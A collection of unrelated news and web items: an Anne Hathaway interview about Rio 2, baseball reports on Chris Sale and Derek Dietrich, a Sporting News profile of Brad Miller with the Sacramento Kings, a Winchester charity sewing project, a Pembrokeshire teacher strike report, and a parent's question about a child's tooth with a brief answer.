Hathaway makes for entertaining company, taking the mickey out of herself on camera and talking openly about her husband Adam Shulman (who she married in a clifftop ceremony in September 2012) in between sips of fresh mint tea.
She does love a mint tea. "I've had it the whole press tour. It's like giving your insides a hug," enthuses the actress, who's mid-way through promoting animated sequel Rio 2.
It's three years since she first voiced Jewel, the feisty macaw who gets together with Jesse Eisenberg's gentler and geekier Blu in Rio. This time round, they're enjoying domesticated bliss with their three kids, though Jewel wants to embark on an adventure to the Amazon to discover whether they really are the last of their kind.
"It was fun to play somebody that has the arc she'd had from the first one," says Hathaway of her feathered alter ego. "She was very angry and mistrustful of the world. Not to get too serious with it, but a little bit damaged. To see her in this new place, where she loves being the mother, her heart's so open and she's enjoying life for herself, I was really happy to see her go on that journey. And happy to get to voice it."
Given her character's evolution to 'mother bird', it does beg the question whether Hathaway's feeling broody - a topic she can't escape from, it transpires.
"Not just my own family, everybody asks! On camera, on planes - people want to know that," she says. "A lot of people want to know whether playing a mother in this film changed my attitude towards motherhood, but I've truly wanted to be a mother since I was 16. I just wanted to have a career as well."
Now, she admits, she's getting to an age where motherhood's a serious possibility. "My friends have started to have kids and getting to meet the next generation is pretty moving and awesome, so hopefully I'll be a part of that club soon."
Born in Brooklyn, Hathaway's studied at the Paper Mill Playhouse in New Jersey, The Barrow Group in New York City (in 2005 she was honoured as the only teen ever admitted to their intensive acting programme) and at NYU's Collaborative Arts Projects 'CAP 21', where she focused on her musical theatre training.
Following several stage productions, her role in the TV series Get Real earned her wider recognition, which was followed by the film The Princess Diaries, with Julie Andrews, in 2001.
Dramatic roles in Brokeback Mountain, Becoming Jane and The Devil Wears Prada followed, and then in 2009 she earned her first Oscar nomination for her depiction of an alcoholic young woman in Rachel Getting Married. That year she lost out to Kate Winslet for The Reader, but four years later, she'd scoop the golden statuette.
As with the first Rio outing, the sequel boasts an impressive soundtrack and Hathaway gets to sing once more on the big screen - although she jokes it was "less intense than Les Mis".
"All of the music that's come into my life in the last few years has been a real surprise, but not an unpleasant one - and certainly not an unwelcome one," says the actress, who also sings in Song One, a film about a woman who strikes up a relationship with her ailing brother's favourite musician, which she co-produced with Shulman.
"Singing is something I've always loved to do in choirs, like most people do in school, and that it's been able to find a way into my movie career when I never thought it would has been wonderful."
Later this year, she'll also be promoting Intersteller, the sci-fi epic directed by Christopher Nolan, with whom she worked on The Dark Knight Rises as Catwoman, opposite Christian Bale's Batman. This means the cameras will be out in force once more.
She's already had a stark reminder of the harsh intrusion she can expect to face once again on the Miami leg of the Rio 2 tour, where she was captured being hidden by a group of hotel staff with towels.
"It's surreal, uncomfortable," says Hathaway on being papped simply walking from the beach to her hotel. "It's not something I'd choose for myself and I feel terrible about how it impacts other people. In this particular case, the photographers were so aggressive, they were pushing over children - and they're never penalised."
But, she remains defiantly upbeat about it all.
"Look, it [fame] has its positive benefits and it has its drawbacks, like anything. I used to get really angry about it but now I try to let it go," she reflects.
"As one of my friends says, 'Find the beauty in the moment'. When I was in the water, I knew they were on the beach, but I just turned away and looked at the horizon. That's what you try and do."
Extra time - Who's who in Rio 2
:: Comedic actress Leslie Mann reprises her role of Linda, Blu's former owner who's now married and enjoying a trip in the depths of the Amazon.
:: Jemaine Clement, one half of Flight Of The Conchords, returns as the less plumed but no less villainous cockatoo Nigel, who's out for revenge.
:: Musical theatre star Kristin Chenoweth stars as Gabi, a toxic toad who has her sights very much set on the treacherous Nigel.
:: Grammy-winning singer Bruno Mars voices Jewel's childhood friend Roberto, a fine specimen who charms everyone around him.
:: Andy Garcia voices Eduardo, the impressive patriarch of the macaw clan, who boasts a firm set of rules that concerns Blu.
:: Rio 2 is released in cinemas on Friday, April 4


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Sale aims to build on Friday's outing
GOODYEAR, Ariz. -- In his 2013 Cactus League debut, White Sox starter Chris Sale threw 28 pitches and just 15 for strikes during the first inning of Friday's 9-7 loss to the Indians at Goodyear Ballpark.
The plan for Sale was to go somewhere between 45 to 50 pitches or three innings.
"I thought they were going to get me out [of] there after the first one. It would have been kind of a bummer," said a smiling Sale. "I definitely felt good out there, but the first inning was kind of sporadic. Just felt like I was going one million miles per hour."
Sale credited catcher Hector Gimenez for coming to the mound and telling him to slow down. And when Sale threw his off-speed stuff, it got him back into rhythm, to where he wanted to be.
"As far as today went, it's a good building block. I'm very satisfied with how it went," Sale said. "Obviously, there's room for improvement in anything you do. But day one -- hot on the mound. Build from this and learn from this and try to go into the next one a little more."
"It's nice to see him out there, seeing the guys you kind of expect to be in the rotation," said White Sox manager Robin Ventura. "I don't think he was as sharp as he would like to be, but it's nice to get him out there and get the juices flowing a little bit."
After Sale escaped a two-on, one-out situation in the first, he needed just 10 pitches in the second for a perfect frame. He faced two batters and threw 10 more pitches before Ventura removed him with one on and one out in the third.
His afternoon's work covered 48 pitches, 29 of which were strikes. He fanned three, including Michael Bourn twice. Sale hopes Friday's start was the first step in making at least 30 regular season trips to the mound and throwing at least 200 innings.
"To be looked at as another guy and just as another starter is big for me, and that's what I want," Sale said. "Everyone in here expects it now, not having to take breaks and sitting out a couple games, and go after it."


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SCHOOLGIRLS in Winchester have been helping young women in Africa with a creative new project.
Since July 2013 members of Soroptimist International for Winchester and Districts, have been busy making 136 dresses for their sister club SI Banjul in The Gambia.
The club runs a number of projects with young women and girls in the rural areas of this poor part of West Africa, where the dresses will be distributed to deserving girls who may not own a dress other than their school uniform.
Working on the premise that 'every girl deserves a dress', girls from Test Valley, Henry Beaufort and St Swithun's schools, as well as local Girl Guides and Rangers, created the dresses which are made of recycled pillowcases.
On March 24 the society held a celebration ahead of the dresses being shipped to recognise the girls' hard work, and heard from similar projects in The Gambia.
Anne Hill, a textiles teacher at Henry Beaufort School said 35 of her Year 10 students were involved.
"I thought it was wonderful," she said.
"It fitted in very nicely with their recycling project and they enjoyed making them knowing that they would make a difference to other people's lives."
The project also taught the girls a thing or two about needlework, and Test Valley schoolteacher Carol Hudson said: "This kind of project is a good way of teaching some life skills, rather than doing things for selfish reasons."
The dresses will be shipped imminently and organisers say the project exceeded their expectations, with 36 more dresses made than planned and positive responses from participants.
They plan to hold the event as a competition next year, with awards for the best dresses.


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Rookie Dietrich flashing his power
CHICAGO -- Marlins rookie Derek Dietrich gave the White Sox fits during their weekend series. While he went hitless on Sunday, he smacked home runs in the first two games of the series, including a game-tying shot in the ninth on Saturday.
His two home runs in the series gives him three long balls that have either tied a game or given the Marlins a lead, which is tied for second among all Major League rookies behind Braves catcher Evan Gattis' seven. The second baseman's three home runs this month are tied with Rockies third baseman Nolan Arenado and Dodgers outfielder Scott Van Slyke for fourth among rookies.
After Sunday, Dietrich is hitting .232 with seven RBIs, and he saw his streak of reaching base end at 14 games.
"I've been competing every at-bat," Dietrich said. "That's what I try to do -- get on base, shake it up and try to help the team win."
Ethan Asofsky is an associate reporter for MLB.com. This story was not subject to the approval of Major League Baseball or its clubs.


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Very complimentary to Brad and explains well how's come he's playing so well now.
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In Brad Miller's nightmare, he is back in the land of cramped condos and never-ending traffic jams. It's cold and windy. There's no space, no fresh air and certainly no place where a self-respecting, country music-loving Indiana boy can pack a chunk of Skoal into his lower lip without drawing gasps and frowns from the genteel locals. In this nightmare, his teammates are young and clueless, his uniform is red and his coach is -- gasp -- Tim Floyd. He's back in Chicago. Sweet mother of mercy, not Chicago!
There, there, Brad. It's only a dream.
"That was the nightmare I had the other night, that I got traded back to Chicago," Miller says. "I could not sleep at all. I was sweating. Thank goodness I woke up."
When he's coherent, Miller and his lipful of shredded tobacco seem to be in a happy place, among the hills, greenery and pick-up trucks of northern California. His tumultuous days in Chicago -- where the Bulls were 27-107 over a season and a half -- still keep him up occasionally, but mostly, they are a distant memory. These days, Miller is employed by the NBA's best team, the Kings, who were 28-9 entering the week and held a 2 1/2-game advantage over the Timberwolves as the top team in the West. He has filled in for injured star Chris Webber at power forward, and he has been playing like a star himself. He's averaging 14.9 points, 10.7 rebounds and 4.8 assists. He is shooting 51.3 percent from the field, and he's had two triple-doubles.
"We expected him to be good," says Kings coach Rick Adelman, whose club gave Miller a seven-year, $68 million deal this summer. "But not this good."
Miller is 27, and though he was an All-Star with the Pacers last year, he is playing his best basketball now, in his sixth season. That's not a big surprise to Miller, who says he hails from a long line of late bloomers back in Kendallville, Ind. His performance is a surprise around the league, however. Miller was respected for his toughness, rebounding and mid-range shooting but never for the finesse and deft passing he has shown this season.
Former teammate Jermaine O'Neal of the Pacers vouches for Miller's status as one of the league's best-passing big men, but in Indiana, all Miller was asked to do was pass from the high post to O'Neal down low, so Miller's skill had gone unnoticed.
In fact, Miller has been underestimated throughout his career, a function of being "a slow, 7-foot white guy from the Midwest," he says. He spent four pretty good years at Purdue but watched the entire 1998 NBA draft without hearing his name called. Then the NBA's lockout struck and Miller shuffled off for a six-month stay in Europe, where barbeque joints and Subway sandwiches are difficult to find ("It was rough living," Miller recalls). Miller played well, though, first for Team USA in the World Championship, then for Bini Viaggi in Italy. When the lockout ended, the Hornets signed him to a two-year contract. It wasn't a traditional path to the league, but, in hindsight, that has been key to Miller's success.
"He had to grow up a little bit when he came out of Purdue," says Miller's agent, Mark Bartelstein. "He did not have the work ethic. He had to understand there are a lot of big guys in the league. But not getting drafted, going to Europe -- those things opened his eyes to what he needed to get done."
What he has done so far is land himself in a perfect spot for his ability, on a team brimming with championship possibility in an offensive system that relies on its big guys. Miller was a free agent last offseason, and though the Kings contacted him early in the summer, it did not appear Sacramento would have payroll space to sign him. Miller was choosing between rebuilding projects -- in Denver and Utah -- in late July when Kings president Geoff Petrie engineered a three-way trade that sent away bit players Scot Pollard (to Indiana) and Hedo Turkoglu (to San Antonio) in exchange for a long-term commitment to Miller. The chance to play with the Kings was irresistible; just as irresistible was the chance for the Kings to land him.
"It's nice to be in a place that plays through the big guys," Miller says. "You get the opportunity to pass and handle the ball. This is fun. Not a lot of teams let 7-footers go out and handle the ball, but with us, it works."
The reason it works is because Sacramento is stacked with talent and uses an offensive system that best exploits that talent. Miller has played like a star at times, but he is a cog in an offense deep with star players. The Kings' top seven -- including Webber -- are intelligent offensive players, excellent shooters, reliable ballhandlers and, especially, terrific passers. The Kings like to set up Miller and center Vlade Divac on opposite sides of the free throw line, put shooting guard Doug Christie and small forward Peja Stojakovic in the corners and let point guard Mike Bibby initiate the offense from there. Everyone is a threat. Defense? Good luck.
"They are a tough team to zone," said Orlando coach Johnny Davis, after he tried it (and lost by 30) in November. "But they are a tough team to play man-to-man against."
That allows Adelman to give freedom to his players, leaving the offense to rest on feel, familiarity and basketball IQ rather than constant sideline play-calling. That's the reason for Miller's surprise success -- in the past, he had been used merely as a big body under the basket who could step out and hit jumpers. In Sacramento, he has been able to use his head and his hands.
"Brad Miller, my gosh, he is so good," Heat coach Stan Van Gundy says. "But I would say Rick has done a great job. He has built a tremendous offensive system around the talents of his guys.
"It's a very unique system. You couldn't run it with everyone, but at the same time, not many coaches are able to give guys that much freedom to play and still have them be so solid fundamentally with their spacing and stuff. I don't want to take away anything from any of them, but they all benefit from playing with so many other good players."
The results are impressive. The Kings lead the league in scoring (105.1 points), field-goal shooting (47.5 percent) and 3-point shooting (39.6 percent). They lead the league in assists, too, at 26.9 per game -- nearly 2.5 more than the second-best team, the Lakers. Stojakovic is averaging 25.1 points, third in the NBA, yet rarely draws double-teams from opposing defenses.
"If you double-team one of them," says Bulls guard Kendall Gill, "someone else will hit a 3 on you." Or, they'll simply pass. Van Gundy says the Kings are the best passing team he ever has seen. Clippers coach Mike Dunleavy agrees. "They've assembled maybe the finest group of guys in (the passing) department that I've seen in my 30 years in the league," he says.
Kings supporters are quick to point out that all this is taking place without Webber, an All-NBA second-teamer. But anti-Kings cynics abound -- with meritorious arguments. After all, coaches have been gushing over Sacramento's offense for five years now, but the Kings have not had much luck beyond the regular season. If the Kings hold their pace, this will be the fourth straight season in which they have been among the top three teams in scoring and overall record. Yet Sacramento has only two second-round defeats and a conference finals loss to the rival Lakers to show for all its regular-season success.
Their potent offense aside, the Kings are not a good rebounding team. And, perhaps because of Miller's presence, their defense has slipped. With Webber on the floor, the team can afford to have a slow center, but with the lead-footed combination of Divac and Miller, defensive rotations are late and the paint is vulnerable. Sacramento's defense has been underrated over the past two years -- the Kings allow a lot of points, but only because they play at a faster pace than most teams.
The team guards the perimeter well and limits opponents' open looks (the Kings led the league in field-goal percentage allowed last season). This season, however, the defense has slipped. The Kings are allowing 44.9 percent shooting, up from 42.0 percent. "They're not Dallas defensively," Lakers coach Phil Jackson says. "But they're not as good as they were."
The Kings also seem to have developed a Laker-ish case of midseason boredom. Too often, they dash to big early leads, then let up on the throttle and allow opponents back into the game. It happened in a win over the Heat last week -- the Kings were up by 15 in the first quarter but allowed the Heat to move within a basket in the fourth. "I don't know if I would say we get bored out there," Bibby says. "I would say, sometimes our mind wanders."
"We still get to the point where we play a lot of 1-on-1 or 2-on-2," Miller says. "So we can still improve."
There also have been some eyebrows raised about the convenience of Sacramento's early schedule -- the Kings played 23 home games and just 14 road games to open the season. Sacramento did not meet the Lakers until last Friday (L.A. wound up being a shell of the superstar team featuring Shaquille O'Neal, Kobe Bryant, Karl Malone and Gary Payton because Payton was the only one of the four who was healthy). The Kings have split two overtime games against Minnesota. They have faced Dallas only once and lost at home. They have not faced San Antonio.
But that is changing. The Kings are in the midst of playing seven out of eight games on the road, including an upcoming trip through the dreaded Texas Triangle: Dallas, Houston and San Antonio. And then there are the Lakers. The Kings play Los Angeles three more times -- the next meeting is February 26, and the Lakers expect to have everyone healthy by then.
Miller has grasped that, as well as he has played, his main purpose in Sacramento is to win in the playoffs, and, specifically, to beat the Lakers. "The impression I get around here," Miller says, "is that we're really looking forward to getting into the playoffs and changing things. And it seems like what everybody wants is to beat the Lakers four times in the regular season and four times in the playoffs."
If he can help make it happen, maybe Miller, and his new hometown, finally will be able to sleep easy.
Sean Deveney is a staff writer for Sporting News. Email him at firstname.lastname@example.com.
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26 Pembrokeshire schools to be hit by teacher strike
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TWENTY-SIX Pembrokeshire schools will be affected by industrial action by the National Union of Teachers (NUT) tomorow (Wednesday).
Stepaside and Pembroke Dock Community School will close for the day, with further schools partially closed.
Partially closed schools include Greenhill, Sageston, Ysgol Glannau Gwaun, Prendergast, Fenton, Johnston, Coastlands, Hakin, Golden Grove, Saundersfoot, Solva, Tavernspite, Broad Haven, Roch, St Oswalds, Stackpole, Tenby, Mary Immaculate, St Mary's, St Marks, Ysgol Bro Dewi, Portfield, Ysgol Dewi Sant and Tasker Milward.
The NUT, which has about 300 members in Pembrokeshire, is holding the national strike as part of a dispute with the UK government over pension changes, pay and conditions.
Recent pension changes mean teachers will be expected to work until the age of 68. Schools also now have the discretion to make decisions on pay, and the requirements for "pay portability" – which provides teachers with protected salaries when moving schools – has been removed in some areas, including Pembrokeshire.
Anton Brcar, NUT secretary for Pembrokeshire, said: "There is no guarantee pay will be equal or matched, and this will inevitably have an effect on attracting experienced teachers to Pembrokeshire."
A survey by the Department for Education found primary school teachers work on nearly 60 hours a week on average, with secondary school teachers clocking up an average of 56 hours a week.
Mr Brcar, a teacher at Greenhill School, Tenby, said increased workloads were largely down to the "exam factory" which is putting pressure on teachers to get good results.
He added: "Another consideration is the sustainability of that kind of workload. When I started teaching I signed up to a contract with a pension at 60 - in 2015 that will rise to 68. There may be some teachers who can work on until 68 but many can't."
Pension changes were introduced by the Westminster government "without fair negotiation and consultation", Mr Brcar said.
He added: "Basically we want to get the message across that we want [the Secretary of State for Education] Michael Gove to listen to us.
"Teaching used to be a career for life but more and more people are leaving in the first few years.
"You speak to young teachers, who are talented, but they have no intention of staying in the profession because it's just not sustainable."
Pembrokeshire County Council cabinet member for education Cllr Ken Rowlands said: "It's sad that 20 schools will be affected by this strike which I don't think will help anyone, least of all our children who will only suffer."
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Hi, Yesterday my 8 year old daughter complined about mild gum and tooth pain near one of the front tooth. When I examined i saw a tiny white, hard thing came out of that spot. That place is not red in color. She still bothers her. The tooth above this white, hard thing is not a baby tooth. What this could be. In my family we all have nice rows of teeth( no extra or overlaping). Please advise me on this. Thanks
It's difficult to understand exactly what you're describing without examining your daughter, so take her to see a pediatric dentist. The tissue you described could be a small extra tooth or an "odontoma", which is a harmless tooth-like object that commonly develops near the front teeth.
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